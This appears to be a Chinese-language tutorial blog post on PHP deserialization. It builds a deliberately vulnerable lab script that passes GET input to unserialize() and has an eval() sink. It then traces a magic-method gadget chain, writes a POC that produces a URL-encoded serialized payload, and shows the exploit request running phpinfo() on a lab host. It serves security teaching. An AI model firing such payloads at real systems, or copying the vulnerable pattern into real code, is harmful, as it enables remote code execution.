反序列化漏洞(2), 分析调用链, 编写POC

反序列化漏洞(2), 反序列化调用链分析

一, 编写php漏洞脚本

http://192.168.112.200/security/unserial/ustest.php

php 复制代码
<?php
class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}

class Monkey{
    public $head;
    public $hand;
    public function __construct($here="cmd"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}

if(isset($_GET['cmd'])){
    @unserialize($_GET['cmd']);
}
else{
    $a = new Monkey;
    echo "Hello!";
}
?>

二. 代码审计, 编写POC脚本

1. 找到执行终点.

eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.

2. 找到执行起点.

通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.

只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.

3. 分析出一条可以从起点到终点的调用链

Monkey 类的 __wakeup() 中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head),
preg_match() 函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head 也必须是字符串.

我们看到 $this->head 的值最开始是来源于构造方法 __construct($here="cmd"), 默认值是"cmd",

如果程序走到 preg_match(), $this->head 作为参数传入时是一个字符串, 那么 __wakeup() 中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger类的boss()方法, 所以 $this->head 这里考虑一下类型转换的情况.

我们再观察其他能够自动执行的魔术方法, 发现 __toString() 函数, 这个函数当对象转换为字符串时会自动调用.

那么我们再考虑 $this-head, 如果它原本是一个其他类的对象, 在传入 preg_match() 方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString() 方法了.

我们看到 __toString()TigerElephant 两个类中都有.

先看 Tiger 类, 它的 __toString() 只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.

再看 Elephant 类, 它的 __toString () 返回 $this->nice->nose;, 那么我们如果让$this->head = new Elephant()就可以从Monkey对象自动走到这里.

根据上面的分析, 构造一下调用链的POC脚本:

php 复制代码
class Elephant{
    public $nose;
    public $nice;
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析$this->nice->nose;, 由 $this->nice 对象读取 nose 属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.

发现在 Lion 类中有一个__GET()方法, 该方法在读取不存在的属性时被调用.

那么如果我们让$this->nice是一个Lion类的对象, 而Lion类中并没有 nose 属性, 所以会自动触发 __GET() 方法, 我们继续编写POC.

php 复制代码
class Lion{
    public $tail;
}

class Elephant{
    public $nose;
    public $nice;
    
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析 __GET() 方法, 它里面有两句代码:

php 复制代码
$function = $this->tail;
return $function();

我们知道在php中, 对象可以用函数形式来调用, 比如

php 复制代码
$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();

当对象以函数形式调用时, 会自动触发 __invoke() 方法.

那么回来观察 __GET() 方法, 如果 $this->tail 是一个对象的话, return $function(); 就是以函数形式调用对象, 它可以触发 __invoke() .

接下来我们观察一下其他类有没有 __invoke()方法, 发现在 Tiger 类中有, 那么我们让 Lion 走到 Tiger , 继续修改POC:

php 复制代码
class Tiger{
    public $string;
    protected $var;

}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;
    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析 Tiger 中的代码, 发现__invoke()在调用 $this->boss($this->var);, 而boss()函数就是我们的终点, 参数就是属性var.

所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:

php 复制代码
<?php
class Tiger{
    public $string;
    protected $var = "phpinfo();"; // 执行phpinfo()

}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;
    public function __construct(){
        $this->head = new Elephant();
    }
}

// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>

poc执行结果:

py 复制代码
O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

三, 漏洞利用

http://192.168.112.200/security/unserial/ustest.php提交GET请求.

py 复制代码
http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

在页面上会看到后端执行了phpinfo();.

相关推荐
网络研究院9 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
l1x1n014 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
醉颜凉16 小时前
银河麒麟桌面操作系统V10 SP1:取消安装应用的安全授权认证
运维·安全·操作系统·国产化·麒麟·kylin os·安全授权认证
小小工匠20 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
不灭锦鲤1 天前
ssrf学习(ctfhub靶场)
网络·学习·安全
网络研究院1 天前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
DonciSacer1 天前
TryHackMe 第6天 | Web Fundamentals (一)
安全
云卓科技1 天前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
山兔11 天前
工控安全防护机制与技术
安全
HEX9CF1 天前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss